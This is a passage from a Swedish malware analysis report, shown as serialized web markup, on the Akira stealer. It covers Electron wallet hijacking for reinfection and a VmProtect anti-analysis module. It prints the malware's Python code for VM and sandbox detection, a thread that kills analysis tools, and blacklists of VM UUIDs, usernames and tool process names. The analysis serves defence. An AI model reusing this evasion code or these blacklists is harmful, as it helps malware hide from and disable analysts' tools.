destination_path])\n",[551,4553,4554],{"__ignoreMap":594},[1684,4555,4556],{"class":1686,"line":1687},[1684,4557,4551],{},[604,4559,4560,4566],{},[607,4561,4562,4565],{},[551,4563,4564],{},"+h",": Markerar filen som dold",[607,4567,4568,4571],{},[551,4569,4570],{},"+s",": Markerar filen som en skyddad systemfil",[533,4573,4574],{},"Detta tar effektivt bort filen från vanliga vyer i Windows Explorer och ökar stealth.",[862,4576,4578],{"id":4577},"_724-reinfektionstekniker","7.2.4 Reinfektionstekniker",[533,4580,868],{},[533,4582,4583,4584,4586,4587,620,4590,4593],{},"Skadekoden stöder självreplikering och reinfektion genom Electron application hijacking. Konkret ersätter den arkivet ",[551,4585,1047],{}," i Electron-baserade desktop-wallets (t.ex. ",[540,4588,4589],{},"Exodus",[540,4591,4592],{},"Atomic Wallet",") för att köra skadlig JavaScript under legitim appstart.",[533,4595,4596],{},"Logiken letar efter kända sökvägar till wallet-appar:",[588,4598,4600],{"className":4492,"code":4599,"language":4494,"meta":594,"style":594},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[551,4601,4602],{"__ignoreMap":594},[1684,4603,4604],{"class":1686,"line":1687},[1684,4605,4599],{},[533,4607,4608,4609,586],{},"Om målfilen finns skrivs den över med ett beväpnat arkiv. Detta säkerställer persistence även efter manuell borttagning av ",[551,4610,574],{},[714,4612,4614,4615,1113],{"id":4613},"_73-anti-analys-undvikande-klass-vmprotect","7.3 Anti-analys / undvikande (klass: ",[551,4616,4617],{},"VmProtect",[533,4619,720],{},[862,4621,4623],{"id":4622},"_731-introduktion","7.3.1 Introduktion",[533,4625,868],{},[533,4627,4628,4629,4632,4633,4635],{},"I moderna skadekodskampanjer är det avgörande att undgå analys i virtualiserade och sandboxade miljöer för att bibehålla stealth. ",[4630,4631,651],"em",{}," implementerar en heltäckande modul för VM/sandbox-detektering (",[551,4634,4617],{},") som aggressivt identifierar och avbryter exekvering i miljöer som kontrolleras av analytiker. Den här rapporten dissekerar varje detekteringsteknik, tillhandahåller de exakta kodutdragen inklusive kompletta blacklist-definitioner och beskriver den analysmetodik som använts.",[862,4637,4639],{"id":4638},"_732-översikt","7.3.2 Översikt",[533,4641,868],{},[533,4643,4644,4645,4647],{},"Klassen ",[551,4646,4617],{}," implementerar robust VM- och sandbox-detektering för att avbryta exekvering i förtid i analysmiljöer. Den stöder två detekteringsnivåer:",[604,4649,4650,4656],{},[607,4651,4652,4655],{},[540,4653,4654],{},"Level 1",": Lätta, snabba kontroller",[607,4657,4658,4661],{},[540,4659,4660],{},"Level 2",": Fördjupade, heltäckande sonderingar",[533,4663,2360,4664,4667,4668,4671,4672,4675],{},[551,4665,4666],{},"VmProtect.isVM(level)"," returnerar ",[551,4669,4670],{},"True"," anropar skadekoden ",[551,4673,4674],{},"sys.exit()",", vilket förhindrar vidare analys.",[862,4677,4679],{"id":4678},"_733-detekteringsnivåer","7.3.3 Detekteringsnivåer",[533,4681,868],{},[1392,4683,4685,4686],{"style":4684},"width:100%; border-collapse: collapse;","\n  ",[1408,4687,4688,4685,4699,4685,4709,4685,4719,4685,4728,4685,4738,4685,4747,4685,4756],{},[1398,4689,4690,4691,4690,4694,4690,4697,4685],{},"\n    ",[1401,4692,4693],{},"Feature",[1401,4695,4654],{"style":4696},"text-align: center;",[1401,4698,4660],{"style":4696},[1398,4700,4690,4701,4690,4704,4690,4707,4685],{},[1413,4702,4703],{},"HTTPSimulation",[1413,4705,4706],{"style":4696},"✔️",[1413,4708,4706],{"style":4696},[1398,4710,4690,4712,4690,4715,4690,4717,4685],{"style":4711},"background-color: #f5f5f5;",[1413,4713,4714],{},"Computer-name blacklist",[1413,4716,4706],{"style":4696},[1413,4718,4706],{"style":4696},[1398,4720,4690,4721,4690,4724,4690,4726,4685],{},[1413,4722,4723],{},"User-account blacklist",[1413,4725,4706],{"style":4696},[1413,4727,4706],{"style":4696},[1398,4729,4690,4730,4690,4733,4690,4736,4685],{"style":4711},[1413,4731,4732],{},"Hardware-UUID blacklist",[1413,4734,4735],{"style":4696},"❌",[1413,4737,4706],{"style":4696},[1398,4739,4690,4740,4690,4743,4690,4745,4685],{},[1413,4741,4742],{},"Public-hosting API check",[1413,4744,4735],{"style":4696},[1413,4746,4706],{"style":4696},[1398,4748,4690,4749,4690,4752,4690,4754,4685],{"style":4711},[1413,4750,4751],{},"Registry & GPU hints",[1413,4753,4735],{"style":4696},[1413,4755,4706],{"style":4696},[1398,4757,4690,4758,4690,4761,4690,4763,4685],{},[1413,4759,4760],{},"Task-killing background",[1413,4762,4706],{"style":4696},[1413,4764,4706],{"style":4696},[827,4766],{"className":4767},[830,831],[862,4769,4771,4772,4774],{"id":4770},"_734-vmprotect-arkitektur","7.3.4 ",[551,4773,4617],{},"-arkitektur",[533,4776,868],{},[533,4778,4644,4779,4781],{},[551,4780,4617],{}," exponerar följande primära metoder:",[604,4783,4784,4791,4798,4805,4812,4819,4826,4833],{},[607,4785,4786],{},[540,4787,4788],{},[551,4789,4790],{},"checkUUID()",[607,4792,4793],{},[540,4794,4795],{},[551,4796,4797],{},"checkComputerName()",[607,4799,4800],{},[540,4801,4802],{},[551,4803,4804],{},"checkUsers()",[607,4806,4807],{},[540,4808,4809],{},[551,4810,4811],{},"checkHosting()",[607,4813,4814],{},[540,4815,4816],{},[551,4817,4818],{},"checkHTTPSimulation()",[607,4820,4821],{},[540,4822,4823],{},[551,4824,4825],{},"checkRegistry()",[607,4827,4828],{},[540,4829,4830],{},[551,4831,4832],{},"killTasks()",[607,4834,4835],{},[540,4836,4837],{},[551,4838,4839],{},"isVM(level)",[533,4841,4842,4843,4846],{},"Varje metod returnerar en boolean eller utför undvikandesteg. Wrappern ",[551,4844,4845],{},"isVM"," aggregerar dessa kontroller utifrån den angivna nivån.",[1392,4848,4685,4849],{"style":4684},[1408,4850,4851,4685,4863,4685,4877,4685,4891,4685,4904,4685,4917,4685,4930,4685,4943,4685,4958],{},[1398,4852,4690,4853,4690,4857,4690,4860,4685],{},[1401,4854,4856],{"style":4855},"text-align: left;","Method",[1401,4858,4859],{"style":4855},"Triggered By",[1401,4861,4862],{"style":4855},"Description",[1398,4864,4690,4865,4690,4869,4690,4874,4685],{},[1413,4866,4867],{},[551,4868,4790],{},[1413,4870,4871],{},[551,4872,4873],{},"isVM(2)",[1413,4875,4876],{},"WMI UUID blacklist",[1398,4878,4690,4879,4690,4883,4690,4888,4685],{"style":4711},[1413,4880,4881],{},[551,4882,4797],{},[1413,4884,4885],{},[551,4886,4887],{},"isVM(1,2)",[1413,4889,4890],{},"Environment hostname match",[1398,4892,4690,4893,4690,4897,4690,4901,4685],{},[1413,4894,4895],{},[551,4896,4804],{},[1413,4898,4899],{},[551,4900,4887],{},[1413,4902,4903],{},"Username blacklist",[1398,4905,4690,4906,4690,4910,4690,4914,4685],{"style":4711},[1413,4907,4908],{},[551,4909,4811],{},[1413,4911,4912],{},[551,4913,4873],{},[1413,4915,4916],{},"IP hosting provider check via ip-api.com",[1398,4918,4690,4919,4690,4923,4690,4927,4685],{},[1413,4920,4921],{},[551,4922,4818],{},[1413,4924,4925],{},[551,4926,4887],{},[1413,4928,4929],{},"HTTPS interception detection",[1398,4931,4690,4932,4690,4936,4690,4940,4685],{"style":4711},[1413,4933,4934],{},[551,4935,4825],{},[1413,4937,4938],{},[551,4939,4873],{},[1413,4941,4942],{},"Registry & GPU driver artifacts",[1398,4944,4690,4945,4690,4949,4690,4955,4685],{},[1413,4946,4947],{},[551,4948,4832],{},[1413,4950,4951,4954],{},[551,4952,4953],{},"isVM(...)"," spawn",[1413,4956,4957],{},"Terminates known analysis processes",[1398,4959,4690,4960,4690,4964,4690,4967,4685],{"style":4711},[1413,4961,4962],{},[551,4963,4839],{},[1413,4965,4966],{},"init",[1413,4968,4969,4970,4972],{},"Aggregates checks and calls ",[551,4971,4832],{}," thread",[827,4974],{"className":4975},[830,831],[588,4977,4979],{"className":4492,"code":4978,"language":4494,"meta":594,"style":594},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[551,4980,4981,4986,4991,4996,5001,5006,5011,5016,5021,5026,5031,5037,5043,5049,5055,5061,5067,5073,5079,5085,5091,5097,5103,5109,5115],{"__ignoreMap":594},[1684,4982,4983],{"class":1686,"line":1687},[1684,4984,4985],{},"@staticmethod\n",[1684,4987,4988],{"class":1686,"line":2063},[1684,4989,4990],{},"def isVM(level: int) -> bool:\n",[1684,4992,4993],{"class":1686,"line":2069},[1684,4994,4995],{},"    # Always start background task-killer\n",[1684,4997,4998],{"class":1686,"line":2075},[1684,4999,5000],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1684,5002,5003],{"class":1686,"line":2396},[1684,5004,5005],{},"    if level == 1:\n",[1684,5007,5008],{"class":1686,"line":2402},[1684,5009,5010],{},"        # Fast path: HTTPS, hostname & user\n",[1684,5012,5013],{"class":1686,"line":3060},[1684,5014,5015],{},"        return (\n",[1684,5017,5018],{"class":1686,"line":3856},[1684,5019,5020],{},"            VmProtect.checkHTTPSimulation()\n",[1684,5022,5023],{"class":1686,"line":3862},[1684,5024,5025],{},"            or VmProtect.checkComputerName()\n",[1684,5027,5028],{"class":1686,"line":4107},[1684,5029,5030],{},"            or VmProtect.checkUsers()\n",[1684,5032,5034],{"class":1686,"line":5033},11,[1684,5035,5036],{},"        )\n",[1684,5038,5040],{"class":1686,"line":5039},12,[1684,5041,5042],{},"    if level == 2:\n",[1684,5044,5046],{"class":1686,"line":5045},13,[1684,5047,5048],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1684,5050,5052],{"class":1686,"line":5051},14,[1684,5053,5054],{},"        try:\n",[1684,5056,5058],{"class":1686,"line":5057},15,[1684,5059,5060],{},"            return (\n",[1684,5062,5064],{"class":1686,"line":5063},16,[1684,5065,5066],{},"                VmProtect.checkHTTPSimulation()\n",[1684,5068,5070],{"class":1686,"line":5069},17,[1684,5071,5072],{},"                or VmProtect.checkUUID()\n",[1684,5074,5076],{"class":1686,"line":5075},18,[1684,5077,5078],{},"                or VmProtect.checkComputerName()\n",[1684,5080,5082],{"class":1686,"line":5081},19,[1684,5083,5084],{},"                or VmProtect.checkUsers()\n",[1684,5086,5088],{"class":1686,"line":5087},20,[1684,5089,5090],{},"                or VmProtect.checkHosting()\n",[1684,5092,5094],{"class":1686,"line":5093},21,[1684,5095,5096],{},"                or VmProtect.checkRegistry()\n",[1684,5098,5100],{"class":1686,"line":5099},22,[1684,5101,5102],{},"            )\n",[1684,5104,5106],{"class":1686,"line":5105},23,[1684,5107,5108],{},"        except:\n",[1684,5110,5112],{"class":1686,"line":5111},24,[1684,5113,5114],{},"            return False\n",[1684,5116,5118],{"class":1686,"line":5117},25,[1684,5119,5120],{},"    return False\n",[862,5122,5124],{"id":5123},"_735-uuid-kontroll-identifiering-av-virtuella-maskiner-via-hardware-uuid","7.3.5 UUID-kontroll – Identifiering av virtuella maskiner via hardware-UUID",[533,5126,868],{},[533,5128,5129],{},"En vanlig taktik i undvikande av skadekod är att fingeravtrycka den underliggande hårdvarumiljön. En av de tidigaste identifierarna som kan signalera en virtuell maskin är systemets UUID (Universally Unique Identifier). Virtualiseringsplattformar som VMware och VirtualBox genererar ofta förutsägbara eller återanvända UUID:n, som skadekod kan använda för att avgöra om den körs i en virtualiserad eller sandboxad miljö.",[588,5131,5133],{"className":4492,"code":5132,"language":4494,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[551,5134,5135,5139,5144,5149,5154,5159,5164,5169,5174,5179],{"__ignoreMap":594},[1684,5136,5137],{"class":1686,"line":1687},[1684,5138,4985],{},[1684,5140,5141],{"class":1686,"line":2063},[1684,5142,5143],{},"def checkUUID() -> bool:\n",[1684,5145,5146],{"class":1686,"line":2069},[1684,5147,5148],{},"    try:\n",[1684,5150,5151],{"class":1686,"line":2075},[1684,5152,5153],{},"        raw = subprocess.run(\n",[1684,5155,5156],{"class":1686,"line":2396},[1684,5157,5158],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1684,5160,5161],{"class":1686,"line":2402},[1684,5162,5163],{},"            capture_output=True\n",[1684,5165,5166],{"class":1686,"line":3060},[1684,5167,5168],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1684,5170,5171],{"class":1686,"line":3856},[1684,5172,5173],{},"    except:\n",[1684,5175,5176],{"class":1686,"line":3862},[1684,5177,5178],{},"        raw = \"\"\n",[1684,5180,5181],{"class":1686,"line":4107},[1684,5182,5183],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[533,5185,5186],{},"Den här kontrollen utnyttjar verktyget Windows Management Instrumentation Command-line (WMIC) för att hämta värdmaskinens UUID. Det returnerade värdet stäms sedan av mot en kurerad lista över UUID:n som ofta förknippas med mallar för virtuella maskiner eller kända analysuppsättningar.",[862,5188,5190],{"id":5189},"_736-datornamnskontroll-detektering-av-sandbox-och-analysmiljöer-via-hostname","7.3.6 Datornamnskontroll – Detektering av sandbox- och analysmiljöer via hostname",[533,5192,868],{},[533,5194,5195,5196,5199],{},"Systemets hostname, som nås via miljövariabeln ",[551,5197,5198],{},"%COMPUTERNAME%",", avslöjar ofta ledtrådar om dess miljö. Analytiker använder ofta standardmässiga eller snabbt genererade hostnamn som \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\" eller till och med namn kopplade till deras interna miljöer. Skadekod drar nytta av detta genom att jämföra systemets hostname mot en blacklist.",[588,5201,5203],{"className":4492,"code":5202,"language":4494,"meta":594,"style":594},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[551,5204,5205,5209,5214,5219,5224,5228,5233,5238,5243,5248],{"__ignoreMap":594},[1684,5206,5207],{"class":1686,"line":1687},[1684,5208,4985],{},[1684,5210,5211],{"class":1686,"line":2063},[1684,5212,5213],{},"def checkComputerName() -> bool:\n",[1684,5215,5216],{"class":1686,"line":2069},[1684,5217,5218],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1684,5220,5221],{"class":1686,"line":2075},[1684,5222,5223],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1684,5225,5226],{"class":1686,"line":2396},[1684,5227,3853],{"emptyLinePlaceholder":325},[1684,5229,5230],{"class":1686,"line":2402},[1684,5231,5232],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1684,5234,5235],{"class":1686,"line":3060},[1684,5236,5237],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1684,5239,5240],{"class":1686,"line":3856},[1684,5241,5242],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1684,5244,5245],{"class":1686,"line":3862},[1684,5246,5247],{},"    # ... dozens more entries ...\n",[1684,5249,5250],{"class":1686,"line":4107},[1684,5251,5252],{},")\n",[533,5254,5255],{},"Om en matchning hittas kan skadekoden välja att avbryta exekvering eller distribuera en falsk payload och därmed undvika en fullständig beteendeanalys.",[862,5257,5259],{"id":5258},"_737-kontroll-av-användarkonto-profilering-av-analytiker-eller-standardkonton","7.3.7 Kontroll av användarkonto – Profilering av analytiker- eller standardkonton",[533,5261,868],{},[533,5263,5264],{},"En annan heuristik innebär att man utvärderar användarnamnet som skadekoden körs under. Många mallar för virtuella maskiner och sandboxar återanvänder vanliga användarnamn som \"Abby\", \"Test\" eller \"wdagutilityaccount\". Dessa namn har låg entropi och är ofta hårdkodade i sandbox-miljöer med öppen källkod.",[588,5266,5268],{"className":4492,"code":5267,"language":4494,"meta":594,"style":594},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[551,5269,5270,5274,5279,5284,5289,5293,5298,5303,5308,5313],{"__ignoreMap":594},[1684,5271,5272],{"class":1686,"line":1687},[1684,5273,4985],{},[1684,5275,5276],{"class":1686,"line":2063},[1684,5277,5278],{},"def checkUsers() -> bool:\n",[1684,5280,5281],{"class":1686,"line":2069},[1684,5282,5283],{},"    user = os.getlogin().lower()\n",[1684,5285,5286],{"class":1686,"line":2075},[1684,5287,5288],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1684,5290,5291],{"class":1686,"line":2396},[1684,5292,3853],{"emptyLinePlaceholder":325},[1684,5294,5295],{"class":1686,"line":2402},[1684,5296,5297],{},"BLACKLISTED_USERS = (\n",[1684,5299,5300],{"class":1686,"line":3060},[1684,5301,5302],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1684,5304,5305],{"class":1686,"line":3856},[1684,5306,5307],{},"    'a.monaldo','tvm',\n",[1684,5309,5310],{"class":1686,"line":3862},[1684,5311,5312],{},"    # ... 30+ more entries ...\n",[1684,5314,5315],{"class":1686,"line":4107},[1684,5316,5252],{},[533,5318,5319],{},"Den här kontrollen förbättrar detekteringen genom att fokusera på användarkontexten, som kan förbli oförändrad även över omstarter eller snapshots av virtuella maskiner.",[862,5321,5323],{"id":5322},"_738-hosting-kontroll-detektering-av-publik-molninfrastruktur","7.3.8 Hosting-kontroll – Detektering av publik molninfrastruktur",[533,5325,868],{},[533,5327,5328,5329,5332],{},"Vissa skadekoder använder externa IP-intelligenstjänster för att verifiera om det infekterade systemet befinner sig i ett känt datacenter eller en känd molnleverantörsmiljö. I det här fallet görs en enkel HTTP-förfrågan till ",[551,5330,5331],{},"ip-api.com",", som frågar om IP-adressen är flaggad som \"hosting\".",[588,5334,5336],{"className":4492,"code":5335,"language":4494,"meta":594,"style":594},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[551,5337,5338,5342,5347,5352,5356,5361,5366,5371,5376,5380],{"__ignoreMap":594},[1684,5339,5340],{"class":1686,"line":1687},[1684,5341,4985],{},[1684,5343,5344],{"class":1686,"line":2063},[1684,5345,5346],{},"def checkHosting() -> bool:\n",[1684,5348,5349],{"class":1686,"line":2069},[1684,5350,5351],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1684,5353,5354],{"class":1686,"line":2075},[1684,5355,5148],{},[1684,5357,5358],{"class":1686,"line":2396},[1684,5359,5360],{},"        return http.request(\n",[1684,5362,5363],{"class":1686,"line":2402},[1684,5364,5365],{},"            'GET',\n",[1684,5367,5368],{"class":1686,"line":3060},[1684,5369,5370],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1684,5372,5373],{"class":1686,"line":3856},[1684,5374,5375],{},"        ).data.decode().strip() == 'true'\n",[1684,5377,5378],{"class":1686,"line":3862},[1684,5379,5173],{},[1684,5381,5382],{"class":1686,"line":4107},[1684,5383,5384],{},"        return False\n",[533,5386,5387],{},"Detta gör att skadekoden kan avgöra om den körs på infrastruktur som ägs av Microsoft Azure, AWS, DigitalOcean etc., en varningssignal för sandboxing.",[862,5389,5391],{"id":5390},"_739-https-simuleringskontroll-sondering-efter-ssl-interception","7.3.9 HTTPS-simuleringskontroll – Sondering efter SSL-interception",[533,5393,868],{},[533,5395,5396,5397,5400],{},"För att identifiera miljöer med SSL-inspektion (vanligt i företags- eller forskningsnätverk) skickar skadekoden en harmlös HTTPS-förfrågan till en slumpmässig subdomän under ",[551,5398,5399],{},".in",". Om anslutningen misslyckas på grund av DNS-filtrering, interception-proxyer eller misslyckad certificate pinning kan det signalera att skadekoden analyseras.",[588,5402,5404],{"className":4492,"code":5403,"language":4494,"meta":594,"style":594},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[551,5405,5406,5410,5415,5420,5424,5429,5433,5437],{"__ignoreMap":594},[1684,5407,5408],{"class":1686,"line":1687},[1684,5409,4985],{},[1684,5411,5412],{"class":1686,"line":2063},[1684,5413,5414],{},"def checkHTTPSimulation() -> bool:\n",[1684,5416,5417],{"class":1686,"line":2069},[1684,5418,5419],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1684,5421,5422],{"class":1686,"line":2075},[1684,5423,5148],{},[1684,5425,5426],{"class":1686,"line":2396},[1684,5427,5428],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1684,5430,5431],{"class":1686,"line":2402},[1684,5432,5173],{},[1684,5434,5435],{"class":1686,"line":3060},[1684,5436,5384],{},[1684,5438,5439],{"class":1686,"line":3856},[1684,5440,5441],{},"    return True\n",[533,5443,5444],{},"Den här subtila metoden testar integriteten hos nätverksvägen utan att utlösa larm eller kräva dedikerad infrastruktur.",[862,5446,5448],{"id":5447},"_7310-register-och-gpu-drivrutinskontroll-detektering-av-virtuella-gpu-signaturer","7.3.10 Register- och GPU-drivrutinskontroll – Detektering av virtuella GPU-signaturer",[533,5450,868],{},[533,5452,5453,5454,5457],{},"Vissa virtuella miljöer avslöjas av registernycklar eller GPU-drivrutinsdeskriptorer. Akira använder en dubbel strategi: den frågar registerposter kopplade till grafiksubsystemet och undersöker separat utdata från ",[551,5455,5456],{},"wmic"," efter misstänkta GPU-strängar.",[588,5459,5461],{"className":4492,"code":5460,"language":4494,"meta":594,"style":594},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[551,5462,5463,5467,5472,5477,5482,5487,5492,5497,5501,5505,5510,5515,5520,5525,5530,5535],{"__ignoreMap":594},[1684,5464,5465],{"class":1686,"line":1687},[1684,5466,4985],{},[1684,5468,5469],{"class":1686,"line":2063},[1684,5470,5471],{},"def checkRegistry() -> bool:\n",[1684,5473,5474],{"class":1686,"line":2069},[1684,5475,5476],{},"    r1 = subprocess.run(\n",[1684,5478,5479],{"class":1686,"line":2075},[1684,5480,5481],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1684,5483,5484],{"class":1686,"line":2396},[1684,5485,5486],{},"        capture_output=True, shell=True)\n",[1684,5488,5489],{"class":1686,"line":2402},[1684,5490,5491],{},"    r2 = subprocess.run(\n",[1684,5493,5494],{"class":1686,"line":3060},[1684,5495,5496],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1684,5498,5499],{"class":1686,"line":3856},[1684,5500,5486],{},[1684,5502,5503],{"class":1686,"line":3862},[1684,5504,3853],{"emptyLinePlaceholder":325},[1684,5506,5507],{"class":1686,"line":4107},[1684,5508,5509],{},"    # GPU name check\n",[1684,5511,5512],{"class":1686,"line":5033},[1684,5513,5514],{},"    gpu_out = subprocess.run(\n",[1684,5516,5517],{"class":1686,"line":5039},[1684,5518,5519],{},"        \"wmic path win32_VideoController get name\",\n",[1684,5521,5522],{"class":1686,"line":5045},[1684,5523,5524],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1684,5526,5527],{"class":1686,"line":5051},[1684,5528,5529],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1684,5531,5532],{"class":1686,"line":5057},[1684,5533,5534],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1684,5536,5537],{"class":1686,"line":5063},[1684,5538,5539],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[533,5541,5542],{},"Dessa kontroller på hårdvarunivå är särskilt effektiva mot analytikeruppsättningar som kanske inte helt maskerar virtualiserade skärmadaptrar.",[862,5544,5546],{"id":5545},"_7311-task-killing-undertryckande-av-analysverktyg-i-realtid","7.3.11 Task-killing – Undertryckande av analysverktyg i realtid",[533,5548,868],{},[533,5550,5551],{},"Istället för att bara passivt undgå upptäckt går Akira ett steg längre genom att aktivt avsluta kända analys- eller debugverktyg. Den startar en bakgrundstråd som itererar över en lista med processer och dödar varje matchning den hittar.",[588,5553,5555],{"className":4492,"code":5554,"language":4494,"meta":594,"style":594},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[551,5556,5557,5561,5566,5571,5575,5580,5585,5590,5595],{"__ignoreMap":594},[1684,5558,5559],{"class":1686,"line":1687},[1684,5560,4985],{},[1684,5562,5563],{"class":1686,"line":2063},[1684,5564,5565],{},"def killTasks() -> None:\n",[1684,5567,5568],{"class":1686,"line":2069},[1684,5569,5570],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1684,5572,5573],{"class":1686,"line":2075},[1684,5574,3853],{"emptyLinePlaceholder":325},[1684,5576,5577],{"class":1686,"line":2396},[1684,5578,5579],{},"BLACKLISTED_TASKS = (\n",[1684,5581,5582],{"class":1686,"line":2402},[1684,5583,5584],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1684,5586,5587],{"class":1686,"line":3060},[1684,5588,5589],{},"  # ... dozens more ...\n",[1684,5591,5592],{"class":1686,"line":3856},[1684,5593,5594],{},"  'glasswire','requestly'\n",[1684,5596,5597],{"class":1686,"line":3862},[1684,5598,5252],{},[533,5600,5601],{},"Dessa verktyg, som ofta används av incident responders och skadekodsanalytiker, neutraliseras innan de hinner samla in meningsfulla beteendeartefakter.",[533,5603,5604],{},[540,5605,5606],{},"Sammanfattning",[533,5608,5609],{},"Akira använder en sofistikerad uppsättning anti-analystekniker som riktar sig mot flera systemlager, från miljövariabler och registernycklar till nätverkssonderingar och tasklistor. Dessa mekanismer är utformade för att detektera och undvika både automatiserade sandboxar och manuella inspektionsuppsättningar.",[533,5611,5612],{},"Kombinationen av passivt fingeravtryckande och aktivt undertryckande (t.ex. task killing) visar hur även skadekodsfamiljer i mellansegmentet numera integrerar undvikandelogik i flera lager.",[862,5614,5616],{"id":5615},"_7312-kompletta-blacklists-och-detekteringsfunktioner","7.3.12 Kompletta blacklists och detekteringsfunktioner",[533,5618,868],{},[533,5620,5621],{},[540,5622,5623],{},"Blacklisted Hardware UUIDs",[588,5625,5628],{"className":5626,"code":5627,"language":593},[591],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    